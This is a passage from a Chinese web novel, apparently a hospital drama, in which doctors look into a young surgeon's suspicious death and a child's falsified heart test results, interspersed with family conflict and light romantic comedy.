“你哪有,你就是太容易心软!看见他示弱,你就怕他伤心,傻孩子,这都是装出来给我们看的,目的就是为了钱。你想想,他们一家人都是村里来的,就靠宁雨的工资,能养得起他们吗?他们指不定做了什么勾当。” 韦利提到任建业便有火气,口不择言。 韦初雪看着他咒骂任建业时狰狞的五官,熟悉又陌生。 她问:“在你心里,韦宁雨就这么差劲?” “他有多差,是你告诉我的。” 韦初雪沉默。 她的确说过类似的话,韦宁雨在医院不求上进,工作虽然没出差错,但也不上心。 这一点她和韦利很像,都是用鼻孔看人的。 韦初雪说:“或许他有其他优点。” 韦利道:“我现在没心思管他,他……” 实在看不出有什么优点。 韦初雪苦笑,“算了,我很像你,我生病也是活该,我不会去首都看病,还有,任爸爸如果再来,麻烦你不要说话,他是来看我的,不是看你的,这是我的病房,我有决定看谁的权利。” 韦利面露不满。 他的不满不会对韦初雪,只会对任建业。 如果不是任建业蛊惑,韦初雪怎会和他们闹翻?以前的韦初雪多听话乖巧。 韦利想,他允许任建业留下,或许就是错误。 韦利没有跟上韦初雪,他回到病房,拿出打电话用的大哥大。 * 韦初雪在楼层的公共厕所前碰到南栀。 南栀笑眯眯地问道:“是不是决定去首都了?” 韦初雪说:“我还在考虑。” “还在想那件事?” 韦初雪摇头,“不是,我在想……我生病了,或许也是好事。” 南栀不解地看着她。 韦初雪回过神,笑笑,“没什么,我胡乱说的,你们科昨天有人入院吗?” 南栀愣了一下,接着装傻笑道:“不清楚呀,应该有吧,最近患者挺多的,每天都有人来住院。” 韦初雪说:“我是说……情况比较严重的病例,有吗?” 是指薛宇? 昨天的事,除了儿科几人,只有心内心外的人知道。 两个科主任虽然提醒过下属,但南栀也没指望这么多人真能封锁消息,只要不要太快传到恩德医院就好。 可韦初雪是如何知道的,是不是太快了? 南栀问:“要来我们科室看看吗?” “算了,”韦初雪脸色不太好,“如果有的话,你多留意,不要误诊。” 南栀点头。 她能确定,韦初雪、葛晓凡、薛宇之间一定有关系。 韦初雪的消息不是来自康宁医院,若是康宁医院的人泄密,韦初雪应该知道薛宇人已经在医院。 她最近接触的人只有韦家人,韦家、恩德,重合点是韦利。 薛宇的事,还和韦利有关? 南栀没和韦初雪说实话。 一方面是想套出点儿消息,另一方面也是希望韦初雪能安心休息,不要操太多心。 南栀昨晚值班,现在可以回家休息一上午,下午还得来医院看薛宇的检查结果。 告别韦初雪后,南栀绕到陆随的办公室,却没看见他。 箫珵道:“你最好不是来找陆随的。” 南栀眨眨眼,“我是来找他的呀。” 闫民怀偷偷坏笑,“咱们萧哥真是,真不当人,还想挖墙脚。” 箫珵:“……” “再说一遍,南栀是我表妹,我是担心她被陆随欺负。” 箫珵把南栀揪到办公室外,严肃道:“你和我说实话,你和陆随是不是……那个了。” 南栀:“哪个?” “就那个。” “那个是哪个?” 箫珵:“……” 有时候与南栀说话,和陆随一样费劲。 箫珵说:“你是不是喜欢陆随,你真打算嫁给他。” 南栀笑道:“我当然喜欢他啦,他很厉害诶。” “不是这种喜欢,是……男女之情。” 南栀想了想,“白娘子和许仙?” 箫珵道:“得看哪个版本,太渣的不行。贾宝玉和林黛玉吧。” 南栀:“林黛玉走了。” 箫珵:“……牛郎和织女!” 南栀:“他俩的故事不符合现代人的观点。” 兄妹俩认真研究了一会儿史上哪对情侣是真正郎才女貌相配的。 箫珵:“不对不对!说你和陆随呢!” 南栀当然没考虑过这种问题。 箫珵说:“你遇到事总是先想到去找他帮忙,平时也特别关心他,你没发现?” 南栀看了箫珵一会儿,点头,“好像是这样。” 其实她该先去找箫珵的,可是不知为何,遇到难办的事,总是先想到陆随。 知道他感冒发烧会着急,会想让他好好休息,还很想把他保护好。 南栀说:“我觉得他能理解我,会选择帮我,但其实你也肯定会帮我的。” 箫珵精准挑刺,“我不理解你吗?!” 南栀保持笑容。 箫珵:“……” 好吧,他的确不会陪南栀胡闹。 “你喜欢就喜欢吧,陆随虽然配不上你,但也还凑合,勉强能用用。我帮你看着他,绝对不让其他女生接触他。” 南栀不解地看着他。 “你傻啊,”箫珵恨铁不成钢,“不能让他背着你乱搞,别说你俩现在有婚约,就算没婚约都不行!” 妹妹看上的男人,一定要守好! 南栀如实道:“我没想过那么多,我挺喜欢和他待在一起的,但不是必须在一起啊。” “为什么?”箫珵不懂,“喜欢一个人,就会有占有欲。” 南栀有些茫然,“经营感情会不会需要太多精力了?我还有很多重要的事要做,而且……男女之间该怎么相处呢?和爸爸妈妈一样吗?” 箫珵一怔,唇动了动,不知说什么好。 他们的父母感情实在不算好。 听说也是自由恋爱结婚,箫珵曾经见过他们恩爱的样子,但从南栀和弟弟出生后,二人便时常 吵架。 弟弟的病很严重,从出生开始就在做手术,花了家中不少积蓄。 贫贱夫妻百事哀,他们可以吵的点太多,而且不会避着孩子。 箫珵经常拉着弟弟妹妹躲在桌子底下,看着他们大吵特吵然后砸东西。 有好几次邻居都报警了,警察来调解,他们又不愿意离婚,警察走后,妈妈会抱着箫珵痛哭,爸爸去照看弟弟,南栀蹲在地上捡玻璃碎片。 好几次被割伤手,都不敢告诉父母,只能偷偷拧开水龙头冲清水。 鲜血顺着清水往下流,伤口深时,好半天都止不住,南栀也不会包扎伤口,就眼睁睁看着手指流血。 箫珵偷偷溜出来,总会看到南栀踩着板凳,手撑着头,趴在水池上,受伤的手指举累了,摇摇晃晃,也不敢收回来。 她根本没见过正常相处的男女。 “就是……你为他好,他也为你好,你俩在一起很开心,你就想跟他待在一起。” 南栀不太信,“会有吗?我考虑他就好了。” 箫珵不知道怎么安慰南栀。 他放弃这个话题,说:“陆随昨晚好像通宵了,今天早上又发烧,去输液了。” “他病了?!”南栀转身往挂水区域跑。 箫珵跟上去。 陆随脸色苍白,看起来不如刚苏醒时的状态。 他是医生,知道自己的身体状态,也在积极做检查。 检查结果看不出有大毛病,医生说是身体受创,现在比较虚弱。 ……还真是弱。 陆随把输液速度调到最快。 药水是凉的,有些痛,陆随皱眉忍着。 直到南栀重新调整了输液速度,“太快了,会痛。” 她摸了摸输液管,“太凉了,我去给你找个保温袋,你把手放在上面,会舒服些。” 陆随惊讶道:“你怎么……” 箫珵走了过来。 陆随无语,“你又多嘴。” 箫珵翻了好几个大白眼。 都把他妹妹抢走了!还在这里装腔作势! 南栀去给陆随找热水。 箫珵坐到陆随旁边,说:“我真揍你一顿。” 陆随习惯了,“哦,应该不是一天两天了。” 箫珵道:“你要是敢欺负南栀,我就和你同归于尽。” 陆随:“……莫名其妙。” 箫珵又问:“还有,你以前没交过女朋友吧?” 他家南栀可从没谈过恋爱,找对象也得找干净的。 陆随反问:“我谈没谈过,你不知道?” 箫珵:“……” 陆随:“你和宿舍其他人,没讨论过?” 箫珵:“……” 他略有心虚,态度好了些,“哦,是,大家都说你,恩,清心寡欲嘛,挺好。” 陆随问:“你到底想说什么?” 箫珵不能把南栀喜欢他的事捅出来。 这是南栀自己的事,得看她的意愿。 而且绝对不能让陆随以为他占了先机!! 箫珵道:“我是希望你能保持住,干干净净做人,不要招惹不三不四的人,我还得出诊,不和你聊了,对了,不能欺负南栀,绝对不能!” 箫珵一步一回头,每次回头都要叮嘱一遍。 陆随:“……” 他欺负南栀? 他能骂得过她?? 南栀给陆随灌了暖水袋,还用没用的药瓶装了热水,让陆随握着,打针时会舒服些。 她还顺手带来体温计,抓住陆随的衣领想帮他放好——平时都是这样给小朋友测体温的。 陆随及时抓住她的手,“我自己来!” 南栀:“不行吧,你不太舒服,我来就好啊。” 陆随:“……那也不能掀我的衣服!” 南栀很为难,“可隔着衣服测体温,不准诶,这要往上加多少度?” 陆随:“……” 不是这个问题。 陆随自己把体温计夹好。 南栀嘀咕道:“又不是没见过,干嘛遮遮掩掩的。” 陆随:“?,你什么时候见过?” 见到的是卫天的身体吧? 南栀理直气壮,“我见过很多大体老师啊,课本上也有,男性的身体也没什么特别的啊,你有什么怕看的?” 旁边几个吊水的人看过来。 陆随:“……” 他试图捂住南栀的嘴。 南栀挣扎,“不说了不说了,真小心眼。” 陆随有苦说不出。 南栀问:“我哥跟过来干嘛,他和你说什么了?” 陆随也很想搞明白,“不知道,说想揍我。” 两人凑到一起研究这个秘密。 “为啥打你?” “可能看我不顺眼?” “你做错事了吧?” “怎么可能,大概是他误会了,觉得我欺负你。我骂过你吗?” “没有。” “打过你?” “没有。” 两人得出结论,“根本就没有欺负过嘛!” 附近目睹全程的患者及其家属们:“……” “呃,听说他俩都是医生,不会是他们这种人给我们看病吧?” 看起来脑子不太好使的样子?? 箫珵愁眉苦脸地坐诊。 从箫珵诊室出来的患者都惨白着脸。 阮乔没找到南栀,就过来找箫珵,做哥哥的比较了解妹妹。 她迎面撞上几个面色苍白的患者,他们走路都颤颤巍巍的。 阮乔赶紧扶着他们,“需要轮椅吗?这是怎么了?” 患者哆哆嗦嗦地摇头,“病了,一定是大病,萧医生一次都没笑,我一定是生大病了!” 以前萧医生给他们看病,都是笑容满面的,今天一直苦着脸,肯定是他们生重病了! 阮乔看了眼他们的病历,“没事啊,都挺好?” 箫珵在搞什么? 箫珵又送走一个病人,病人起身时,他还叹了口气。 病人苍白着脸走出去。 阮乔:“……,没事啊,没问题,别害怕!” 她跑到箫珵身后,“喂,你再板着脸,你的患者就算没病都要吓死了!能不能笑一笑?” “我哪里还笑得出来?”箫珵叹气,“南栀怎么想的,怎么能看上陆随?” 阮乔见是这事,挑起眉,“怎么就不能看上陆医生?” “我还没来得及补偿她,她如果有自己的小家庭,岂不是更不方便补偿?而且,陆随,陆随诶?” 阮乔坐到箫珵对面,“我觉得他们很般配啊。” 箫珵的表情逐渐扭曲。 “你别着急,听我说,”阮乔道,“陆医生和栀栀其实很像,陆医生呢,有天赋,有点儿小傲气,他和南栀一样,看不惯那些背地里搞事的。我们栀栀虽然不傲气,但她说话直啊,这表现出来可傲得太多了。” 箫珵说:“听着更不靠谱,陆随能照顾好南栀?” “我们栀栀生存能力可好了,会需要别人照顾吗?而且陆医生只要是能帮的,都会帮忙,怎么不会照顾?”阮乔压低声音,“最重要的是,他俩真的很配。” 箫珵问:“你说长相?” 阮乔摇头,神秘道:“我是说……” 箫珵凑过来,“你说。” 阮乔伸出手。 箫珵摘下手表放到阮乔手里。 阮乔:“……” “这显得我在敲诈!” 他们未来的人送礼都如此豪迈吗? 箫珵道:“我身上只有手表最值钱。” 阮乔无奈,“我是女孩子诶,哄女孩子不是该给块糖吗?” 箫珵说:“那你也太容易被骗走了,这可不行。” 阮乔:“……” 南栀她哥比她聪明多了。 阮乔说:“我是认为,栀栀和陆医生在一起时挺开心的,而且他们两个人都很纯粹,像你这些哄女孩开心的手段,陆医生就不懂,你去警告陆医生,陆医生只会认为你真的想打他。两个纯粹的人待在一起,还有家人保护,不是很好吗?” 箫珵若有所思。 * 薛宇的检查做完,果然和南栀想的一样,只是二尖瓣脱垂,没有反流情况,正常来说可以每年复查,不需要动手术。 他甚至还可以和其他孩子一样正常活动。 屠秋柳喜极而泣,“真的不 用手术?小宇的病没那么严重,他还好好的?” 南栀道:“如果您担心,可以再带他去其他医院检查,盛医生今天带来了小宇的检查结果,我认为这不是小宇的片子。” 屠秋柳擦干净眼睛,疑惑道:“是医院搞错了?” 南栀说:“还不清楚。” 薛宇听得很明白,“我白打针啦?” “白做检查啦?” “白吃药啦!!” 薛宇崩溃大哭,“白干啦!!” 南栀暖心安慰,“没关系的,不是白干,以后每年还得来医院再做一遍检查。” 薛宇:“……” “要完啦!!” 事情比较特殊,主任们上报几位副院长,南栀下午刚到医院,祁念珍就把她叫去谈话。 “这件事,是恩德医院出错,但我们医院的立场,恐怕没法说什么。这件事,如果屠秋柳决定不追究,谁也没法说恩德医院什么,误诊的情况其实不少见,只不过一般都是低级医院水平不够,或者医生经验不够,像恩德这种情况……” 确实难以解释。 南栀认真道:“不是的,不是出错。” 祁念珍蹙眉,“肯定吗?” 南栀道:“我仔细看过他们给薛宇的检查报告,片子中的情况,检查报告是没错的,但每一张片子都属于不同的孩子,只不过都写着薛宇的名字,怎么会出这样的错?他们一定是故意的。” “有这种事?”祁念珍惊讶道,“他们为什么要这么做?这对他们有什么好处?” 南栀说:“目前来看,结果只有一个,薛宇需要做手术。” “可这手术咱们医院也能做,他们就算做了手术,也没有好处。就算是他们给薛宇设定的病情,也没那么复杂,也不能靠这台手术写论文发表。” 退一步说,他们既然有那么多片子,就说明那些患者曾在恩德医院看过病,想出成绩,直接治疗就好,何苦还要找薛宇? 南栀也没想通,“是啊,薛宇有什么特殊的呢?” 祁念珍道:“你的疑虑我明白了,如果想报警,我不会阻拦你。” 南栀却说:“现在不能报警。” “不报警?你不是怀疑他们故意搞鬼?” 南栀道:“报了警,警察去调查,他们直接推个临时工出来,说是他出的错,我们也没办法。” 祁念珍没听懂,“临时工?什么临时工?” “背锅侠啊,”南栀道,“反正公司出错,做错事的都是临时工嘛,和公司无关,辞退临时工就好。” 祁念珍倒吸一口冷气。 好阴险的手段! 记下来记下来。 “这也是,行吧,我去打听打听,看看恩德医院在搞什么名堂,你最好什么都不要做,能把检查报告都换了,肯定不是普通的主治医生做的,被他们察觉,对你不好。” 南栀不太诚恳地点头,满脸都写着——要查的,肯定要查。 祁念珍:“……拉上陆随垫背。” 陆教授总不能不管自己的孙子。 她的手段真是越来越高明,越来越像领导了! 第二天晚上下班,按照事先约好的,南栀去找陆随和箫珵,他们要一起去葛晓凡家。 现在还多了薛宇这件事,薛宇是在恩德医院的心外科看的,他们没有熟悉的医生,没法打探消息。 去葛晓凡家的路上,南栀表达了对他们的失望,“你们明明都是心外的医生,居然不认识同行?” 陆随耸肩,“他们?我认识他们,对我有什么好处?” 箫珵:“想学技术也得找对人,跟着他们肯定学不到,懒得认识。” 南栀:“……” 南栀头一次知道什么叫自恋。 唉,如果所有人都能和她一样谦虚多好。 葛晓凡还有两个弟弟,她去世没多久,两个弟弟就结婚了,现在都在葛家住。 葛家住在城中村,附近都是六层楼房,只有这一片是平房。 说是城中村,其实临川市的平房还很多,只不过这片区域刚好被楼房包围。 南栀担心打草惊蛇,没直接去葛家,她选择先从邻居下手。 她提前和实习生打听过,在医科大学找了一个和葛晓凡关系不错的同学,开了家诊所,平时给附近的居民打打针,能治普通的感冒发烧。 不过药很猛,南栀不太建议去那边。 鲍磊解释道:“我们上学时,关系是不错,后来她就和韦初雪走得近了。韦初雪这人太傲慢,平时都不拿正眼看我们,我不太喜欢她,慢慢地就不去找葛晓凡了。葛晓凡挺努力的,被分到恩德医院,可惜命不好,摊上这么个家庭。” 几人围坐在城中村馄饨店内的小方桌,每个人面前都有一碗馄饨,味道还不错,是鲜肉馅儿的。 南栀碰到好吃的东西,就想多吃点儿,她喝了好几口汤,才有空问鲍磊,“你也认为她是因为家里自尽的?” 陆随递来手绢,“慢点儿吃,你吃东西怎么总是着急?” 南栀道:“有东西吃当然要赶紧吃完,不然被抢走怎么办?” 陆随:“谁和你抢?” 箫珵踹了陆随一脚,提醒他别提南栀的伤心事。 陆随:“你踹我干嘛?” 箫珵:“……” 阮乔说得没错,这俩人在专业上虽然牛,但在生活上…… 南栀答道:“我们福利院的经营情况不太好的,最开始是一个大姐姐在义务照顾我们,食材都不够分,小朋友们就会来抢我的。” 陆随:“你没抢回来?” 南栀虚心求教,“怎么抢?” “踹倒,打倒,踢远点儿,抢回来。” 南栀:“学到了!” 箫珵:“……” 南栀看起来确实不像是会伤心的。 鲍磊说:“她肯定是被家里逼的啊,你们都不知道,她爸妈都是厂子的职工,当时她高中毕业考上大学,她爸妈都不想让她去读书,还把录取通知书撕了,她那个弟弟更绝,直接烧了一半,幸好医科大学的老师比较好,得知这一情况主动补发录取通知书,我记得特别清楚,那个老师还和我们说,不管男生女生,都要走出自己的家庭,不要被困住。” 陆随道:“说得很对。” “是啊,葛晓凡成绩那么好,不念书多可惜。而且她也成功了,她可是去了最好的恩德医院,成为外科医生,反正我的水平是做不到。” 南栀问:“她的父母一直重男轻女,对她不好,她自杀的导火索是什么呢?” 鲍磊压低声音,“就是那点儿事呗,逼婚。” “葛晓凡没有男友?” “有,但是穷,她爸妈不愿意,逼着她嫁给一个四十多岁的男人,那男人以前是当兵的,分的工作挺好,而且找媒婆时,承诺的彩礼很高,她爸妈知道了,就想让她嫁过去,好拿到钱给两个儿子娶媳妇。” 其实葛晓凡的工资已经全部上交到家里,她身上没留什么钱。 医院的同事经常看到她吃土豆填饱肚子,她从来不去食堂吃饭。 食堂的饭菜对医院内部的员工都有优惠,即便如此,她都没多余的钱去吃。 葛晓凡的爸妈没心疼过她,她每天回家,都要催着她去和那位四十岁的男人见面。 男人是二婚了,有一儿一女,葛晓凡还是刚毕业没多久的大姑娘,嫁过去就直接当后妈。 那男人的母亲还很难搞,远近闻名的不讲理、脾气暴,葛晓凡当然不愿意嫁。 “我那天就听到她和她父母吵架,她平时脾气很好的,我是第一次看到她生气,她说了,除非她死,不然绝对不会嫁。她说完这句话没几天,医院就通知她家里人去领尸体了。” 鲍磊把馄饨吃完,“谢谢你们请我吃饭啊,其实晓凡的死,真的很让人惋惜,她上学时很努力,每天都在图书馆背书,熄灯前才回寝室,如果她的死真的有问题,我很愿意帮你们的忙。” 送走鲍磊,南栀说道:“葛晓凡家里很缺钱,他们需要葛晓凡的彩礼给两个儿子娶媳妇,但是葛晓凡死后,他们没去 恩德医院闹,很快接受她自尽的事实。” 箫珵问:“他们良心发现了?知道自己把女儿逼得太紧?” “就算他们真有良心,葛晓凡的死也不会改变儿子要娶媳妇的事实,”南栀平静道,“重男轻女的人怎么会因为女儿死了就改变呢?” 箫珵拧了下眉,他们的父母也是重男轻女的,或许南栀真的能理解葛晓凡。 陆随道:“而且金瑞说过,他们不是没来闹,只是刚要闹,医院就给了他们一笔钱,说是人道主义。” 南栀说:“现在看,倒像是一笔封口费,葛晓凡的生前在做什么事,很重要。” “她是外科医生,能做什么?” “虽然是普外的,但是……学长,你还记得腹部外科的办公室吗?和她跳楼的办公室挨着。” 韦利也是在腹部外科做的手术。 南栀道:“或许是韦利的手术有异常,葛晓凡发现了什么,才被迫死亡。韦医生知道后,和韦利的关系才急转直下。” 箫珵点头,“很有道理,但你也说了,韦利的手术很顺利,能有什么异常?就算手术过程中真的有问题,难道是葛晓凡想帮医院掩盖错误?那韦初雪就不该恨韦利,她应该和葛晓凡绝交。” 所以,葛晓凡和韦利才是真正的对立面,而韦利,和恩德医院是一伙的。 南栀起身,“我去葛家看看,你们在这里等我,人太多他们会起疑。” 第68章 第68章机会 南栀不会明说自己的身份,以免葛家人疑心,不说实话。 葛家的事与恩德医院脱不开关系,若被恩德医院知道,可能会得罪一些临川市医学界的前辈,不过南栀不害怕。 再怎么说,她都还有两个后盾! 此时的后盾们—— 箫珵:“你为什么答应让她去,她一个人去多危险。” 陆随:“人多了,葛家人能没疑心?” 箫珵:“你太顺着她。” 陆随:“你不相信她。” “你*&¥#@。” “她*&%¥#。” 南栀回头,看到两人激烈的争论,很感动,瞧瞧,都在帮她想办法呢! 葛家院里的动静也不小,好像在吵架。 在医院上班时间久了,听到吵架声,南栀下意识停下来。 “你的彩礼凭啥比我多二百?二百!几个月的工资都有了!爸妈太偏心!” “哎呀嫂子,你俩结婚不是早吗?肯定是家里没啥钱,这些年妈对你可比对我好多了,有啥好事都想着你,家里炖肉,都得等你回来再吃。” 是两个儿子的媳妇在争。 大儿媳妇埋怨道:“吃肉也就那么一点儿,难不成你们还想我回来只看到肉汤?想得真美!” 小儿媳妇心虚地笑着。 肉能不少吗?爸妈喜欢小儿子,她也能跟着沾点儿光,每次家里炖肉,都得单独给他们盛一碗。 老大两口子也是太久没做过饭了,都不知道家里有多少猪肉。 不过这些话肯定不能和嫂子说,让她知道了家里得翻天。 南栀站在门外帮他们算账。 老大早半年结婚,结婚日期是在葛晓凡自杀以后,当时肯定已经拿到赔偿金。 彩礼还是比老二少二百…… 老大媳妇出来倒水,看见站在门后的南栀,“你谁啊?站在我家门口干嘛?” 南栀赶紧说:“我,呃,这是葛家吗?” 她给自己准备了一套说辞,但她几乎没说过谎,说起来磕磕巴巴的。 南栀有点儿担心会穿帮。 南栀眼中的自己:鬼鬼祟祟,谎话连篇。 老大媳妇眼中的南栀:不太聪明的样子。 “是葛家,你找谁?” 南栀说:“葛晓凡在吗?” “葛晓凡?”老大媳妇无语道,“死了多少年了,你可别来吓人。” 南栀用尽毕生的演技,一惊一乍道:“晓凡死了?!怎么会这样!她还那么年轻!” 老大媳妇揉揉耳朵,往后退两步,怕被南栀震死。 “她自杀了,我没嫁过来的时候就死了,咱也不知道她家是什么情况。” 当时她已经在和老大搞对象,在谈结婚的事。 她爸妈想多要点儿彩礼钱,葛家拿不出来,一直拖着没领证。 葛晓凡一死,彩礼钱就有了,她作为既得利益者,能多说话吗?肯定不能。 她想赶南栀走,“行了,你也别在我家门口待着了,人死了,你走吧。” 南栀说:“我能去看看她吗?” “早就烧了!骨灰盒在殡仪馆,去殡仪馆看!” “没下葬?” 老大媳妇瞪她一眼,“现在上哪找地下葬去?还让我们扛去山上?” 殡仪馆不是挺好的?恩德医院还帮着交钱。 南栀说:“好吧,真是太可惜了,我本来是想把她借给我的钱还给她,现在……要不我把钱交给你们?还是算了,她骨灰还在殡仪馆,我……” 老大媳妇热情地把南栀请进去,“她还有闲钱借给你?她借了多少钱?” 南栀说:“一百。” “一百?!” 真是她男人俩月的工资了! 老二媳妇正在择菜,奇怪道:“这谁啊,找谁的?” “你别管,”老大媳妇说道,“你去屋里择菜,我要和客人聊聊。” 老二媳妇肯定不走,这大嫂憋了一肚子坏水,想把她支走,肯定是有事。 南栀说:“可我还没去见过晓凡,也不知道她是怎么走的,当时是什么情况……” 老大媳妇没时间和老二媳妇计较,实在不行就俩人平分一百,也是一个月工资呢。 总比给爸妈强,他们肯定都补贴给弟妹一家,从彩礼就能看出不公平! “哎呀,你可千万别误会,其实晓凡不是因为家里人自杀的,那都是外面乱传的。” 晓凡的朋友,万一认为晓凡在家里受委屈,不给钱咋办? 老大媳妇绘声绘色道:“弟妹可能不太清楚,当时我已经在和我男人搞对象了,我知道。晓凡补贴家里,那都是她自愿的,她孝顺嘛,这么多年都是如此,哪能突然就去死了。” 南栀看起来很憨厚,好像完全相信她的话。 “她是不是工作不顺利?” “肯定是医院的事!”老大媳妇说,“葛家人对晓凡都可好了!晓凡肯定是因为医院才闹这一出的!你不知道,晓凡到死都抓着在医院的工牌!这就是不甘心呀!” 老二媳妇的表情渐渐扭曲。 大嫂在胡说八道什么? 葛晓凡为什么自杀,她不清楚? 她嫁进葛家后,清明节都没见有人去看葛晓凡,一家人把骨灰丢在殡仪馆就不管了,钱都是医院在交,现在说葛家人对葛晓凡好?? 老大媳妇看向弟妹,“你说是不?” 老二媳妇:“……是啊!” 大嫂精,附和不亏。 南栀问:“为什么要抓着工牌呢,工牌能代表什么?” “说医院不好呗!是医院把她逼死的!肯定是她的领导欺负她了!” 说的全都是猜测。 南栀道:“既然是医院的问题,有去找医院吗?医院怎么说?” “医院……”老大媳妇努力编道,“医院承认是自己的问题啊!还赔钱了!医院如果没问题,他们能同意赔钱吗?那些领导都鬼精鬼精的。其实就算赔钱,那也是我们家亏了,晓凡可是医生,一个月工资一百多呢,她要是活着,这些年能多赚多少钱?” 这是真心话。 南栀问:“工牌在哪,我能看看吗?我俩是大学同学,不过我毕业之后就回家乡了,没听说过这事。” “工牌啊,工牌……”老大媳妇看向弟妹,“晓凡的东西还在吗?” 老二媳妇:“……” 她哪里知道,反正家里没见过葛晓凡的东西。 “好像是有一点儿,扔柴房了?爸妈应该不舍得扔东西。” 老大媳妇走向柴房,“哦,是有堆破烂。” 南栀看过去。 老大媳妇紧急改口,“都是回忆啊!” 老二媳妇:“……” 大嫂今天好像在唱戏。 葛晓凡的遗物很少,她的旧衣服、旧床褥都已经丢了,葛家人认为留下来不吉利。 葛晓凡用过的书没丢,还有文具也没丢。 老大媳妇看得直皱眉,“妈是说要留着,以后可能用得到吧?” 就算想给孙子们用,也得看情况啊,谁敢用死人的书? 南栀瞥了眼两个女人,没多说话,将遗物全部取出来。 葛晓凡穿的、用的,都没值钱的东西。 大学课本是不得不买,但也是买得二手的。 南栀问:“我能买走吗?这些书,医院的实习生能用得到,别浪费。” 在她们眼中,这些书就是一堆废纸,只能卖废品。 南栀竟然想花钱买走,哪有拒绝的道理? 南栀给了她们五十块钱,捧着遗物往外走。 老大媳妇叫道:“哎,你不是还欠晓凡的钱吗?” 老二媳妇:“!!” 难怪大嫂突然热情!这个狗女人!!还好她没戳穿! “是呀,”南栀说,“我还是交给殡仪馆吧,骨灰放在殡仪馆,也得要钱吧,你们不给她下葬,应该也不能交钱,我担心殡仪馆把她的骨灰清理出去。” “……” 这小姑娘看着傻乎乎的,好像不是很傻?? 南栀友好地问道:“这五十块钱,买这些书,行吗?” “……” 破书卖五十块钱,她们还能说啥? 老大媳妇挥挥手,“赶紧 拿走!” 老二媳妇道:“大嫂,得给我一半。” “……” 黑心鬼! 南栀出门时,刚好葛家夫妻俩回来,两人在争该不该给大儿媳买一辆新的自行车。 一家人把日子过得红红火火,葛晓凡好像只是这个家的过客,在葛家,她没过过一天好日子。 南栀又停了下来,朝葛家夫妻礼貌地笑笑。 “您这样做太不应该了。” 老两口:“?” “我都听到了,两个儿子差不多时间结婚,给的彩礼钱怎么能不一样呢?我都替她难过,手心手背都是肉,偏心可不行呀。” 老二媳妇:“……” 老两口:“……” 三人颤抖地看向同一人。 老大媳妇一秒爆炸,“妈!你听见了吗?!爸!看看人家外人是怎么说的?!我跟你儿子多久了,你们就这么偏心?!” 在葛家彻底乱掉前,南栀抱着遗物慢悠悠离开。 陆随车上,三人仔细检查葛晓凡的遗物。 “其实我不太想给她们钱,她们对葛晓凡不好,葛家人好像没有真正关心葛晓凡的,不过这是葛晓凡的遗物,值这个价。” 南栀一边检查一边碎碎念。 箫珵揉揉她的头,“能保住她的东西挺好的,这书哪里还能再用,最后肯定会被扔掉。” 陆随拧眉看着箫珵的手。 南栀从箱子最底部找到一个信封。 葛家人当然不会给葛晓凡的遗物套上信封,信封是公交局专用的,应该是警察交给他们的。 南栀把信封中的东西拿出来,“是工牌!” 恩德医院的工牌比康宁医院要精致些,但也不像后世那么精致,工牌没有个人照片,宽度不超过两厘米,只写了葛晓凡的名字、科室,还有恩德医院的标志。 “她死前抓着工牌好像没什么特别的,”箫珵说,“工牌就别在衣服上,很容易碰到。” “未必,”陆随说,“别针上还有白大褂的纤维,别针是弯曲的。” 箫珵问:“扯下来的?” 临死前特意把工牌扯下来,就有些奇怪了。 “难道是为了告诉我们,她自杀和恩德医院有关?” “或许她根本就不是自己跳楼,而是……” 箫珵看向南栀,“这得报警,不能自己查。” 恩德医院敢动手害葛晓凡,谁知道会不会害南栀? 南栀拧着眉说:“葛晓凡的名字上有血迹。” 这三个字是工牌上最大的字,凡字上有清晰的血迹。 南栀肯定还想继续查。 陆随提出另一个方案,“这件事交给我……和箫珵,儿科医生比较少,你太忙。” 箫珵点头,“这个办法好。” 南栀奇怪地看了他们一眼,“这怎么行,我是叫你们来帮忙的,这是我的事情,我要查到底。” 陆随点头,“也行。” 箫珵瞪向陆随。 陆随:“……还是再考虑考虑。” “不考虑了,这是医院的事,和每个医生都有关系,而且我敢肯定,这件事还没结束,恩德医院可能还在做其他勾当,作为医生,我有责任找到真相。” 箫珵着急道:“可这太不安全了,我去查也好啊。” “不安全的事情有很多啊,”南栀说,“不安全的职业也有很多,总得有人去做吧?” 箫珵说不过南栀,推了陆随一把。 陆随:“……” 他尽量平静道:“其实我觉得,南栀说得也有道理。” 箫珵转身开车门。 “干什么去?” 箫珵:“捡砖头!” 陆随赶紧把人拉回来,“不查明白,还会有其他受害人,我们先回医院一趟,和韦初雪好好谈谈,现在已经被牵扯进来,她不能再保持沉默。” 南栀说:“我还得去恩德医院一趟。” “为什么?” “薛宇的事情也要搞清楚,薛宇应该是挂的金主任的号,金主任还是值得信任的,我去问问他,他应该知道一些情况。” 箫珵神色复杂。 阮乔说得对,南栀和陆随很像,又聪明又蠢。 旁人避之不及的事,他们二人完全不害怕。 活了这么多年,一点儿警惕心都没有。 为了别人把自己搭进去,值得吗? 但是,有些事确实应该有人做。 箫珵说:“别再去恩德了,你们上次去恩德,那个田宏不就在拦你们?恩德医院奇奇怪怪的,说不定一直派人在门口盯着,你再过去,肯定要引起怀疑。” 南栀道:“那把金主任叫过来?” “人家大小是个副主任,关系再好,也不能总让人家跑腿,”箫珵说,“我去给他打电话,把他约出来,你们去找韦初雪,既然已经查到这里了,她不能再拿狗屁借口敷衍你们。” 儿科住院部,韦宁雨被其他护士紧急叫去帮忙。 有的小朋友血管很不明显,还有比普通人细得多的,很不好打。 韦宁雨在打针方面是把好手,不管多肉乎的小胖手,都能一针见血。 护士紧张道:“我真的有找血管,但是不知道为什么,就是扎不进去,我……以前没这么难过啊。” 韦宁雨看了眼小朋友手上的白色胶布,“他的血管是难找,别紧张。” 说着,他将小朋友的手观察了个遍,最后选中一个刁钻的角度,没有任何准备便把枕头推了进去,很快就有回血。 护士更想哭了,“为什么!!怎么做到的?!” 韦宁雨耸肩,“这玩意,就是要自信。” “自信?” “对啊,打针的时候默念,我能行,我一定能行,没有我打不进去的血管。”韦宁雨说,“你下次试试。” 护士:“……” 总觉得韦宁雨在坑她。 韦宁雨收拾好器具回到护士站。 护士长搬着椅子坐过来,“韦医生怎么样了?” “啊?韦初雪?” 护士长的笑容如春风般温暖,“听说你和韦医生是兄妹?真是看不出来,一个优雅,一个……一个冷静,一个……一个聪明,一个……” 护士长皱眉看了韦宁雨好半天,陷入深思。 韦宁雨说:“护士长,实在找不到我的优点,就别勉强自己。” 护士长:“还是小韦善解人意!哎,你说说,她现在怎么样了,什么时候开刀?” 韦宁雨瘪嘴,“她?不知道要做什么事,死活不开刀,害得南栀天天跑来跑去。” 